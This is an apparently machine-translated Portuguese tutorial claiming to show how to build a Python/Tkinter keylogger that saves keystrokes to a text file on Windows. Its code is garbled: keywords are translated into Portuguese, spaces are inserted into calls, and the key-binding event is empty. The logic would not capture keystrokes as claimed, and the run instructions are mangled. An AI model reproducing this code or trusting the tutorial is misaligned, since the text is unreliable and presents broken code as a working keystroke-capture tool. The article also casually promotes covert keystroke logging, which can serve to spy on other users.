Como criar um keylogger usando Python

Mulher no computador olhando por cima do ombro

Capture as teclas digitadas e salve-as em um arquivo.

Crédito da imagem: Jupiterimages / Photos.com / Getty Images

Você pode criar um programa keylogger usando Python para capturar as teclas digitadas no teclado de um computador. Os pressionamentos de tecla são salvos em um arquivo de texto e ele registra todas as entradas. Você pode usar um key logger para monitorar a atividade em seu computador.

Passo 1

Abra o IDLE, clique no menu "Arquivo" e selecione "Nova janela" para abrir uma nova janela. Pressione Ctrl e S para abrir a janela "Salvar como". Use “getKeyLogger” como o nome do arquivo e clique em “Salvar”.

Vídeo do dia

Passo 2

Adicione a seguinte linha de código para importar o namespace "Tkinter" e definir o caminho do arquivo que deseja usar para registrar:

importe o Tkinter como tk myFile = open ("C: /temp/keyFile.txt", "w")

etapa 3

Copie e cole o seguinte código para salvar cada pressionamento de tecla no arquivo:

def keypress (evento): if event.keysym == 'Escape': main.destroy () keyPressed = event.char myFile.write (keyPressed)

Passo 4

Adicione o seguinte código para permitir que um usuário saiba que ele pode começar a digitar e que pode pressionar Esc para encerrar o programa:

main = tk. Tk () print "Pressione qualquer tecla (tecla Escape para sair):" main.bind_all ('', keypress) main.withdraw () main.mainloop () myFile.close ()

Etapa 5

Clique no botão Iniciar do “Windows” e digite “cmd” na caixa “Pesquisar programas e arquivos”. Pressione Enter para abrir o prompt de comando. Vá para "C: \ Python“e digite“ python getKeyLogger. ”Pressione Enter para executar o programa. Vá para "C: / temp /" e clique duas vezes em "keyFile.txt" para visualizar os dados de pressionamento de tecla.